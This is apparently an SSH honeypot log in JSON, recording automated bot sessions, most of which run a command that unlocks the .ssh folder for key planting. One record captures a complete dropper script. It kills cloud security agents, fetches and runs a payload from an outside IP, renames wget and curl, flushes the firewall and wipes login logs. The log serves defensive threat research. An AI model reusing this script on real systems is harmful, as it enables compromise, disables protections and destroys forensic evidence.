"probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-20T12:59:14.353436+00:00", "ended_at": "2026-08-20T12:59:14.478176+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3733 }, { "id": "9d97c634-71cf-4395-9707-f7b02c0c87c2", "name": "deft-frank-jackal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "139.59.28.125", "src_port": 34268, "username": "root", "client_version": "SSH-2.0-libssh_0.11.1", "auth_attempts": 1, "automation": "bot", "think_ms": 678, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-20T12:57:42.460636+00:00", "ended_at": "2026-08-20T12:57:42.669225+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3631 }, { "id": "46fb043f-7cad-43ac-afbe-b504a2611f5e", "name": "frosty-barren-cheetah", "protocol": "ssh", "channel_kind": "exec", "src_ip": "92.47.46.174", "src_port": 59806, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 687, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-20T12:49:42.507032+00:00", "ended_at": "2026-08-20T12:49:42.722243+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3732 }, { "id": "16ce8ab6-9ac3-48a6-8acf-2f1f38563712", "name": "meadow-northern-bison", "protocol": "ssh", "channel_kind": "exec", "src_ip": "81.193.216.17", "src_port": 56682, "username": "root", "client_version": "SSH-2.0-libssh_0.11.1", "auth_attempts": 1, "automation": "bot", "think_ms": 408, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-20T12:49:19.537181+00:00", "ended_at": "2026-08-20T12:49:19.664175+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3907 }, { "id": "d8b8ffbe-8acf-4f65-911c-25a77eb5612f", "name": "ashen-cunning-gadwall", "protocol": "ssh", "channel_kind": "exec", "src_ip": "194.156.249.154", "src_port": 57262, "username": "socks", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 385, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-20T12:37:01.791163+00:00", "ended_at": "2026-08-20T12:37:01.903396+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3649 }, { "id": "1710c81c-7e3d-4e8a-a4ae-297a449f2993", "name": "ivory-pristine-sandpiper", "protocol": "ssh", "channel_kind": "exec", "src_ip": "194.156.249.154", "src_port": 51750, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 377, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-20T12:34:39.652762+00:00", "ended_at": "2026-08-20T12:34:42.383964+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2842 }, { "id": "649e05c8-86dc-4c86-adf4-6f9011dcfd5b", "name": "supple-wistful-martin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "220.123.222.114", "src_port": 60276, "username": "root", "client_version": "SSH-2.0-libssh2_1.11.1", "auth_attempts": 2, "automation": "bot", "think_ms": 624, "probe_flagged": 0, "exec_command": "/ip cloud print", "started_at": "2026-08-20T12:28:41.217416+00:00", "ended_at": "2026-08-20T12:29:19.443517+00:00", "ended_reason": "exec complete", "commands": 9, "transcript_bytes": 6448 }, { "id": "480ec80d-66e2-4856-97dd-06174b2da80f", "name": "leafy-freckled-hare", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.12.221.15", "src_port": 34716, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 319, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-20T12:08:41.365257+00:00", "ended_at": "2026-08-20T12:08:41.455427+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3731 }, { "id": "22acd34e-8908-48df-b288-564e100821a1", "name": "whispering-gilded-camel", "protocol": "ssh", "channel_kind": "exec", "src_ip": "52.176.211.73", "src_port": 35132, "username": "anupam", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 135, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-20T12:07:15.709568+00:00", "ended_at": "2026-08-20T12:07:15.735619+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3632 }, { "id": "aaa2b28a-6666-4cf6-ad14-ca446e83aab5", "name": "northern-bold-cheetah", "protocol": "ssh", "channel_kind": "exec", "src_ip": "78.109.200.147", "src_port": 51814, "username": "pivpn", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 500, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-20T09:24:27.111292+00:00", "ended_at": "2026-08-20T09:24:27.263126+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3785 }, { "id": "a9fe09c8-f362-4730-9890-658fe77be56d", "name": "tidal-indigo-lynx", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.161.113.136", "src_port": 53790, "username": "ftpadmin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 849, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-20T09:22:05.365710+00:00", "ended_at": "2026-08-20T09:22:05.631619+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3812 }, { "id": "55002306-5e2a-40a9-8158-7871f285a5dc", "name": "misty-noble-walrus", "protocol": "ssh", "channel_kind": "exec", "src_ip": "172.82.91.35", "src_port": 48980, "username": "root", "client_version": "SSH-2.0-PUTTY", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "#!/bin/sh\n\n\nwdir=\"/tmp\"\nfor i in \"/dev/shm\" \"/tmp\" \"/var/tmp\" \"/home\" \"/root\"; do\n touch \"$i/test_exec\" >/dev/null 2>&1\n chmod +x \"$i/test_exec\" >/dev/null 2>&1\n if [ -w \"$i\" ] && [ -x \"$i/test_exec\" ]; then\n wdir=\"$i\"\n rm -f \"$i/test_exec\"\n break\n fi\n rm -f \"$i/test_exec\" >/dev/null 2>&1\ndone\ncd \"$wdir\" || exit 1\n\n\nfor svc in aegis aliyun YDService tat_agent; do\n systemctl stop $svc >/dev/null 2>&1\n systemctl disable $svc >/dev/null 2>&1\n systemctl mask $svc >/dev/null 2>&1\ndone\nsystemctl daemon-reload >/dev/null 2>&1\n\nif command -v chattr >/dev/null 2>&1; then\n chattr -R -i -a /usr/local/aegis/ >/dev/null 2>&1\n chattr -R -i -a /usr/local/qcloud/ >/dev/null 2>&1\nfi\npkill -9 AliYunDun >/dev/null 2>&1\npkill -9 YDService >/dev/null 2>&1\nrm -rf /usr/local/aegis /usr/local/qcloud >/dev/null 2>&1\n\n\ndownload_vos() {\n local_arch=$(uname -m)\n SERVER_IP=\"172.82.91.35\" \n SERVER_URL=\"http://${SERVER_IP}/new.php?type=${local_arch}\"\n target=\"new.txt\"\n T_LIMIT=30\n\n rm -f \"$target\" >/dev/null 2>&1\n\n\n do_dl() {\n # 1. wget\n if command -v wget >/dev/null 2>&1; then\n wget --no-check-certificate -q -T $T_LIMIT \"$SERVER_URL\" -O \"$target\" >/dev/null 2>&1\n [ -s \"$target\" ] && return 0\n fi\n # 2. curl\n if command -v curl >/dev/null 2>&1; then\n curl -skL -m $T_LIMIT \"$SERVER_URL\" -o \"$target\" >/dev/null 2>&1\n [ -s \"$target\" ] && return 0\n fi\n\n if command -v good >/dev/null 2>&1; then\n good --no-check-certificate -q -T $T_LIMIT \"$SERVER_URL\" -O \"$target\" >/dev/null 2>&1\n [ -s \"$target\" ] && return 0\n fi\n\n if command -v cool >/dev/null 2>&1; then\n cool -skL -m $T_LIMIT \"$SERVER_URL\" -o \"$target\" >/dev/null 2>&1\n [ -s \"$target\" ] && return 0\n fi\n # 5. python3\n if command -v python3 >/dev/null 2>&1; then\n python3 -c \"import urllib.request; urllib.request.urlretrieve('$SERVER_URL', '$target')\" >/dev/null 2>&1\n [ -s \"$target\" ] && return 0\n fi\n # 6. python\n if command -v python >/dev/null 2>&1; then\n python -c \"import urllib; urllib.urlretrieve('$SERVER_URL', '$target')\" >/dev/null 2>&1\n [ -s \"$target\" ] && return 0\n fi\n return 1\n }\n\n\n do_dl &\n dl_pid=$!\n sec=0\n while [ $sec -lt $T_LIMIT ]; do\n if ! kill -0 $dl_pid 2>/dev/null; then\n wait $dl_pid\n break\n fi\n sleep 1\n sec=$((sec + 1))\n done\n kill -9 $dl_pid >/dev/null 2>&1\n\n\n if [ -s \"$target\" ]; then\n chmod +x \"$target\"\n setsid \"./$target\" >/dev/null 2>&1 &\n sleep 1\n if ! pgrep -f \"$target\" >/dev/null; then\n setsid sh \"./$target\" >/dev/null 2>&1 &\n fi\n return 0\n fi\n return 1\n}\n\ndownload_vos\n\n\nlock_tools() {\n if command -v chattr >/dev/null 2>&1; then\n chattr -i /usr/bin/wget /usr/bin/curl >/dev/null 2>&1\n fi\n w_path=$(which wget 2>/dev/null)\n [ -n \"$w_path\" ] && [ \"$(basename \"$w_path\")\" != \"good\" ] && mv \"$w_path\" \"$(dirname \"$w_path\")/good\" >/dev/null 2>&1\n c_path=$(which curl 2>/dev/null)\n [ -n \"$c_path\" ] && [ \"$(basename \"$c_path\")\" != \"cool\" ] && mv \"$c_path\" \"$(dirname \"$c_path\")/cool\" >/dev/null 2>&1\n}\nlock_tools\n\n\nsystemctl stop firewalld ufw >/dev/null 2>&1\niptables -F >/dev/null 2>&1\nfor log in /var/log/wtmp /var/log/btmp /var/log/lastlog; do [ -f \"$log\" ] && echo > \"$log\"; done\n\nsleep 2\nls -la /var/run/gcc.pid\n\n\n", "started_at": "2026-08-20T07:06:45.355737+00:00", "ended_at": "2026-08-20T07:06:47.226527+00:00", "ended_reason": "exec complete", "commands": 2, "transcript_bytes": 3666 }, { "id": "88e56eb6-fb2b-44ac-a292-58c2bea17bdc", "name": "glassy-clever-albatross", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.75.247.232", "src_port": 38394, "username": "fts", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 280, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-20T06:09:48.871254+00:00", "ended_at": "2026-08-20T06:09:48.945271+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3545 } ]